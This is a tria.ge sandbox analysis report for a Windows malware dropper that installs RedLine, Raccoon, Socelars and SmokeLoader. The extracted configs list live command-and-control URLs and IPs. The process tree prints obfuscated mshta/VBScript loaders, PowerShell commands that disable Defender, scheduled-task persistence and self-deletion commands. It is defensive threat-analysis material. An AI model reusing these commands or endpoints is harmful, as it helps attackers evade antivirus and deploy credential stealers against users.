Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows7_x64
10022e3c30a1...66.exe
windows11_x64
10022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows7_x64
104d27dca0a1...ef.exe
windows11_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows7_x64
10578a3a7a2b...b3.exe
windows11_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows7_x64
109c4880a98c...82.exe
windows11_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows7_x64
10a1dad4a83d...c4.exe
windows11_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows7_x64
10acf1b7d80f...e0.exe
windows11_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows7_x64
10cbf31d825a...d2.exe
windows11_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows7_x64
10db76a117db...12.exe
windows11_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows7_x64
10e2ffb8aeeb...f6.exe
windows11_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows7_x64
10f2196668f4...cb.exe
windows11_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
41s -
max time network
178s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
10/11/2021, 14:50
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win11
Behavioral task
behavioral3
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win7-en-20211104
Behavioral task
behavioral5
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win11
Behavioral task
behavioral6
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral7
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win7-en-20211014
Behavioral task
behavioral8
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win11
Behavioral task
behavioral9
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211104
Behavioral task
behavioral10
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win7-en-20211014
Behavioral task
behavioral11
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win11
Behavioral task
behavioral12
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211014
Behavioral task
behavioral13
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win7-en-20211104
Behavioral task
behavioral14
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win11
Behavioral task
behavioral15
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211014
Behavioral task
behavioral16
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win7-en-20211104
Behavioral task
behavioral17
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win11
Behavioral task
behavioral18
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral19
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win7-en-20211014
Behavioral task
behavioral20
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win11
Behavioral task
behavioral21
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211014
Behavioral task
behavioral22
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win7-en-20211104
Behavioral task
behavioral23
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win11
Behavioral task
behavioral24
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211104
Behavioral task
behavioral25
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win7-en-20211014
Behavioral task
behavioral26
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win11
Behavioral task
behavioral27
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211104
Behavioral task
behavioral28
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win7-en-20211014
Behavioral task
behavioral29
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win11
Behavioral task
behavioral30
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
General
-
Target
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
-
Size
4.6MB
-
MD5
4f85f62146d5148f290ff107d4380941
-
SHA1
5c513bcc232f36d97c2e893d1c763f3cbbf554ff
-
SHA256
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3
-
SHA512
bc4ae4f7101b20ab649ea2a44d5da42875af5068c33c1772960c342cc8731bddfdabd721fb31a49523ea957615252d567a00346035bddacfa58cf97853587594
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
raccoon
2f2ad1a1aa093c5a9d17040c8efd5650a99640b5
-
url4cnc
http://telegatt.top/oh12manymarty
http://telegka.top/oh12manymarty
http://telegin.top/oh12manymarty
https://t.me/oh12manymarty
Extracted
redline
media18
91.121.67.60:2151
Extracted
redline
fucker2
135.181.129.119:4805
Extracted
smokeloader
2020
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 360 4136 rundll32.exe 122 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
resource yara_rule behavioral9/memory/4760-282-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral9/memory/3432-286-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral9/memory/3432-291-0x000000000041B23E-mapping.dmp family_redline behavioral9/memory/4760-285-0x000000000041B23E-mapping.dmp family_redline behavioral9/memory/5076-316-0x000000000041B242-mapping.dmp family_redline behavioral9/memory/5076-330-0x0000000005250000-0x0000000005856000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral9/files/0x000500000001abb4-179.dat family_socelars behavioral9/files/0x000500000001abb4-214.dat family_socelars -
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
-
resource yara_rule behavioral9/files/0x000400000001abae-126.dat aspack_v212_v242 behavioral9/files/0x000400000001abae-128.dat aspack_v212_v242 behavioral9/files/0x000600000001abb0-130.dat aspack_v212_v242 behavioral9/files/0x000600000001abb0-131.dat aspack_v212_v242 behavioral9/files/0x000500000001ab9f-127.dat aspack_v212_v242 behavioral9/files/0x000500000001ab9f-135.dat aspack_v212_v242 behavioral9/files/0x000500000001ab9f-132.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 18 IoCs
pid Process 4340 setup_installer.exe 4448 setup_install.exe 1192 Tue19ac3c92c21.exe 1624 Tue193e530416b51740a.exe 1476 Tue196397c0f84f8.exe 1736 Tue19c28f648204dbd4.exe 1752 Tue1968b7ee9058232e8.exe 1604 Tue19c9e031f4.exe 1892 Tue192c34b1c2f5.exe 3144 Tue197e9ec0ff0.exe 3580 Tue1932df4dae.exe 4916 Tue19cef5687a.exe 4976 Tue196397c0f84f8.tmp 4648 Tue19cd42a7c874e44.exe 4652 Tue193129b31e741ef3.exe 4624 Tue19b4b38a7569a9.exe 4944 S8oizdhwoMalDquRqKHN49Zp.exe 2944 Tue19f40f8518b9946.exe -
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 7 IoCs
pid Process 4448 setup_install.exe 4448 setup_install.exe 4448 setup_install.exe 4448 setup_install.exe 4448 setup_install.exe 4448 setup_install.exe 4448 setup_install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 265 ipinfo.io 269 ipinfo.io 87 ipinfo.io 89 ipinfo.io 92 api.db-ip.com 264 ipinfo.io 80 ip-api.com 88 ipinfo.io 93 api.db-ip.com -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 8 IoCs
pid pid_target Process procid_target 4736 4448 WerFault.exe 69 1096 1604 WerFault.exe 97 6020 2120 WerFault.exe 163 1988 1036 WerFault.exe 158 3884 2120 WerFault.exe 163 5364 2120 WerFault.exe 163 4968 2120 WerFault.exe 163 5432 2328 WerFault.exe 161 -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5772 schtasks.exe 5172 schtasks.exe 2052 schtasks.exe 5220 schtasks.exe 3632 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 6252 timeout.exe -
Kills process with taskkill 5 IoCs
pid Process 4580 taskkill.exe 3480 taskkill.exe 1616 taskkill.exe 528 taskkill.exe 6168 taskkill.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 4648 Tue19cd42a7c874e44.exe Token: SeCreateTokenPrivilege 4652 Tue193129b31e741ef3.exe Token: SeAssignPrimaryTokenPrivilege 4652 Tue193129b31e741ef3.exe Token: SeLockMemoryPrivilege 4652 Tue193129b31e741ef3.exe Token: SeIncreaseQuotaPrivilege 4652 Tue193129b31e741ef3.exe Token: SeMachineAccountPrivilege 4652 Tue193129b31e741ef3.exe Token: SeTcbPrivilege 4652 Tue193129b31e741ef3.exe Token: SeSecurityPrivilege 4652 Tue193129b31e741ef3.exe Token: SeTakeOwnershipPrivilege 4652 Tue193129b31e741ef3.exe Token: SeLoadDriverPrivilege 4652 Tue193129b31e741ef3.exe Token: SeSystemProfilePrivilege 4652 Tue193129b31e741ef3.exe Token: SeSystemtimePrivilege 4652 Tue193129b31e741ef3.exe Token: SeProfSingleProcessPrivilege 4652 Tue193129b31e741ef3.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4060 wrote to memory of 4340 4060 578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe 68 PID 4060 wrote to memory of 4340 4060 578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe 68 PID 4060 wrote to memory of 4340 4060 578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe 68 PID 4340 wrote to memory of 4448 4340 setup_installer.exe 69 PID 4340 wrote to memory of 4448 4340 setup_installer.exe 69 PID 4340 wrote to memory of 4448 4340 setup_installer.exe 69 PID 4448 wrote to memory of 4168 4448 setup_install.exe 72 PID 4448 wrote to memory of 4168 4448 setup_install.exe 72 PID 4448 wrote to memory of 4168 4448 setup_install.exe 72 PID 4448 wrote to memory of 4240 4448 setup_install.exe 73 PID 4448 wrote to memory of 4240 4448 setup_install.exe 73 PID 4448 wrote to memory of 4240 4448 setup_install.exe 73 PID 4448 wrote to memory of 520 4448 setup_install.exe 74 PID 4448 wrote to memory of 520 4448 setup_install.exe 74 PID 4448 wrote to memory of 520 4448 setup_install.exe 74 PID 4448 wrote to memory of 596 4448 setup_install.exe 75 PID 4448 wrote to memory of 596 4448 setup_install.exe 75 PID 4448 wrote to memory of 596 4448 setup_install.exe 75 PID 4448 wrote to memory of 660 4448 setup_install.exe 76 PID 4448 wrote to memory of 660 4448 setup_install.exe 76 PID 4448 wrote to memory of 660 4448 setup_install.exe 76 PID 4448 wrote to memory of 744 4448 setup_install.exe 77 PID 4448 wrote to memory of 744 4448 setup_install.exe 77 PID 4448 wrote to memory of 744 4448 setup_install.exe 77 PID 4448 wrote to memory of 904 4448 setup_install.exe 99 PID 4448 wrote to memory of 904 4448 setup_install.exe 99 PID 4448 wrote to memory of 904 4448 setup_install.exe 99 PID 4448 wrote to memory of 436 4448 setup_install.exe 83 PID 4448 wrote to memory of 436 4448 setup_install.exe 83 PID 4448 wrote to memory of 436 4448 setup_install.exe 83 PID 4448 wrote to memory of 380 4448 setup_install.exe 78 PID 4448 wrote to memory of 380 4448 setup_install.exe 78 PID 4448 wrote to memory of 380 4448 setup_install.exe 78 PID 4448 wrote to memory of 1120 4448 setup_install.exe 79 PID 4448 wrote to memory of 1120 4448 setup_install.exe 79 PID 4448 wrote to memory of 1120 4448 setup_install.exe 79 PID 520 wrote to memory of 1192 520 cmd.exe 81 PID 520 wrote to memory of 1192 520 cmd.exe 81 PID 520 wrote to memory of 1192 520 cmd.exe 81 PID 4448 wrote to memory of 1200 4448 setup_install.exe 80 PID 4448 wrote to memory of 1200 4448 setup_install.exe 80 PID 4448 wrote to memory of 1200 4448 setup_install.exe 80 PID 380 wrote to memory of 1476 380 cmd.exe 82 PID 380 wrote to memory of 1476 380 cmd.exe 82 PID 380 wrote to memory of 1476 380 cmd.exe 82 PID 744 wrote to memory of 1624 744 cmd.exe 98 PID 744 wrote to memory of 1624 744 cmd.exe 98 PID 744 wrote to memory of 1624 744 cmd.exe 98 PID 904 wrote to memory of 1736 904 cmd.exe 96 PID 904 wrote to memory of 1736 904 cmd.exe 96 PID 904 wrote to memory of 1736 904 cmd.exe 96 PID 596 wrote to memory of 1604 596 cmd.exe 97 PID 596 wrote to memory of 1604 596 cmd.exe 97 PID 436 wrote to memory of 1752 436 cmd.exe 95 PID 436 wrote to memory of 1752 436 cmd.exe 95 PID 436 wrote to memory of 1752 436 cmd.exe 95 PID 4168 wrote to memory of 1896 4168 cmd.exe 93 PID 4168 wrote to memory of 1896 4168 cmd.exe 93 PID 4168 wrote to memory of 1896 4168 cmd.exe 93 PID 1120 wrote to memory of 1892 1120 cmd.exe 94 PID 1120 wrote to memory of 1892 1120 cmd.exe 94 PID 1120 wrote to memory of 1892 1120 cmd.exe 94 PID 4240 wrote to memory of 1600 4240 cmd.exe 92 PID 4240 wrote to memory of 1600 4240 cmd.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe"C:\Users\Admin\AppData\Local\Temp\578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Suspicious use of WriteProcessMemory
PID:4168 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true5⤵PID:1896
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:4240 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:1600
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19ac3c92c21.exe4⤵
- Suspicious use of WriteProcessMemory
PID:520 -
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19ac3c92c21.exeTue19ac3c92c21.exe5⤵
- Executes dropped EXE
PID:1192 -
C:\Users\Admin\Pictures\Adobe Films\BWuGOiycS8YQRvFLbMSFbIYy.exe"C:\Users\Admin\Pictures\Adobe Films\BWuGOiycS8YQRvFLbMSFbIYy.exe"6⤵PID:2448
-
-
C:\Users\Admin\Pictures\Adobe Films\Ebce3VIdjVsY8fbLffBCTZ8k.exe"C:\Users\Admin\Pictures\Adobe Films\Ebce3VIdjVsY8fbLffBCTZ8k.exe"6⤵PID:1964
-
-
C:\Users\Admin\Pictures\Adobe Films\7vfeZ_XhR76BcjHJc_nnZrhL.exe"C:\Users\Admin\Pictures\Adobe Films\7vfeZ_XhR76BcjHJc_nnZrhL.exe"6⤵PID:3804
-
C:\Users\Admin\Documents\QwPajhLgDFqXVM_VjJ8OQy49.exe"C:\Users\Admin\Documents\QwPajhLgDFqXVM_VjJ8OQy49.exe"7⤵PID:1516
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:5172
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:2052
-
-
-
C:\Users\Admin\Pictures\Adobe Films\GWrXwHPZUWxflyt9qXd_xoY9.exe"C:\Users\Admin\Pictures\Adobe Films\GWrXwHPZUWxflyt9qXd_xoY9.exe"6⤵PID:1720
-
-
C:\Users\Admin\Pictures\Adobe Films\r41JYx6A_sTeCAEY67rayu3m.exe"C:\Users\Admin\Pictures\Adobe Films\r41JYx6A_sTeCAEY67rayu3m.exe"6⤵PID:3364
-
-
C:\Users\Admin\Pictures\Adobe Films\r9M8HJiKMTIqOeaeQw9fZFgJ.exe"C:\Users\Admin\Pictures\Adobe Films\r9M8HJiKMTIqOeaeQw9fZFgJ.exe"6⤵PID:5204
-
C:\Users\Admin\Pictures\Adobe Films\r9M8HJiKMTIqOeaeQw9fZFgJ.exe"C:\Users\Admin\Pictures\Adobe Films\r9M8HJiKMTIqOeaeQw9fZFgJ.exe"7⤵PID:6856
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19c9e031f4.exe4⤵
- Suspicious use of WriteProcessMemory
PID:596 -
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue19c9e031f4.exeTue19c9e031f4.exe5⤵
- Executes dropped EXE
PID:1604 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1604 -s 16446⤵
- Program crash
PID:1096
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1932df4dae.exe4⤵PID:660
-
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue1932df4dae.exeTue1932df4dae.exe5⤵
- Executes dropped EXE
PID:3580 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue1932df4dae.exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if """" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue1932df4dae.exe"" ) do taskkill -iM ""%~nXx"" /f " ,0 , TRuE ))6⤵PID:4844
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /C tYPe "C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue1932df4dae.exe" > ~Xy1GPomKV09sC.Exe &&stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if "" == "" for %x In ("C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue1932df4dae.exe") do taskkill -iM "%~nXx" /f7⤵PID:4468
-
C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ8⤵PID:4088
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if ""-PyARgXd6fRp1GJRov7bdbpPssZBLJ "" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" ) do taskkill -iM ""%~nXx"" /f " ,0 , TRuE ))9⤵PID:1000
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /C tYPe "C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe" > ~Xy1GPomKV09sC.Exe &&stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if "-PyARgXd6fRp1GJRov7bdbpPssZBLJ " == "" for %x In ("C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe") do taskkill -iM "%~nXx" /f10⤵PID:1388
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIpt: cLosE (cREatEObjEcT ( "wscript.sHeLl" ).Run ( "cMD.ExE /R ECHO | seT /P = ""MZ"" > F3U_R.J & CoPy /B /Y F3U_R.J+ RqC~~.A + TfSAy.w+ y5ULsw.L6+ AobbVRP.2Y + WvAi.2 BENCc.E & Start msiexec -Y .\bENCc.E " , 0 ,TruE ) )9⤵PID:1720
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R ECHO | seT /P = "MZ" >F3U_R.J & CoPy /B /Y F3U_R.J+ RqC~~.A + TfSAy.w+y5ULsw.L6+ AobbVRP.2Y + WvAi.2 BENCc.E &Start msiexec -Y .\bENCc.E10⤵PID:2492
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO "11⤵PID:4944
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>F3U_R.J"11⤵PID:3244
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y .\bENCc.E11⤵PID:1052
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "Tue1932df4dae.exe" /f8⤵
- Kills process with taskkill
PID:4580
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue193e530416b51740a.exe4⤵
- Suspicious use of WriteProcessMemory
PID:744 -
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue193e530416b51740a.exeTue193e530416b51740a.exe5⤵
- Executes dropped EXE
PID:1624 -
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue193e530416b51740a.exeC:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue193e530416b51740a.exe6⤵PID:1424
-
-
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue193e530416b51740a.exeC:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue193e530416b51740a.exe6⤵PID:5076
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue196397c0f84f8.exe4⤵
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue196397c0f84f8.exeTue196397c0f84f8.exe5⤵
- Executes dropped EXE
PID:1476 -
C:\Users\Admin\AppData\Local\Temp\is-UP11E.tmp\Tue196397c0f84f8.tmp"C:\Users\Admin\AppData\Local\Temp\is-UP11E.tmp\Tue196397c0f84f8.tmp" /SL5="$30110,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue196397c0f84f8.exe"6⤵
- Executes dropped EXE
PID:4976 -
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue196397c0f84f8.exe"C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue196397c0f84f8.exe" /SILENT7⤵PID:684
-
C:\Users\Admin\AppData\Local\Temp\is-AA8L2.tmp\Tue196397c0f84f8.tmp"C:\Users\Admin\AppData\Local\Temp\is-AA8L2.tmp\Tue196397c0f84f8.tmp" /SL5="$101EC,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue196397c0f84f8.exe" /SILENT8⤵PID:5080
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue192c34b1c2f5.exe /mixone4⤵
- Suspicious use of WriteProcessMemory
PID:1120 -
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue192c34b1c2f5.exeTue192c34b1c2f5.exe /mixone5⤵
- Executes dropped EXE
PID:1892 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue192c34b1c2f5.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue192c34b1c2f5.exe" & exit6⤵PID:5112
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue192c34b1c2f5.exe" /f7⤵
- Kills process with taskkill
PID:1616
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue197e9ec0ff0.exe4⤵PID:1200
-
C:\Users\Admin\AppData\Local\Temp\7zS4F05C606\Tue197e9ec0ff0.exeTue197e9ec0ff0.exe5⤵
- Executes dropped EXE
PID:3144 -
C:\Users\Admin\Pictures\Adobe Films\BWuGOiycS8YQRvFLbMSFbIYy.exe"C:\Users\Admin\Pictures\Adobe Films\BWuGOiycS8YQRvFLbMSFbIYy.exe"6⤵PID:5040
-
-
C:\Users\Admin\Pictures\Adobe Films\7vfeZ_XhR76BcjHJc_nnZrhL.exe"C:\Users\Admin\Pictures\Adobe Films\7vfeZ_XhR76BcjHJc_nnZrhL.exe"6⤵PID:2496
-
C:\Users\Admin\Documents\wLf5s9rBcPuuLR3BJcGILhJI.exe"C:\Users\Admin\Documents\wLf5s9rBcPuuLR3BJcGILhJI.exe"7⤵PID:2696
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:5220
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:3632
-
-
-
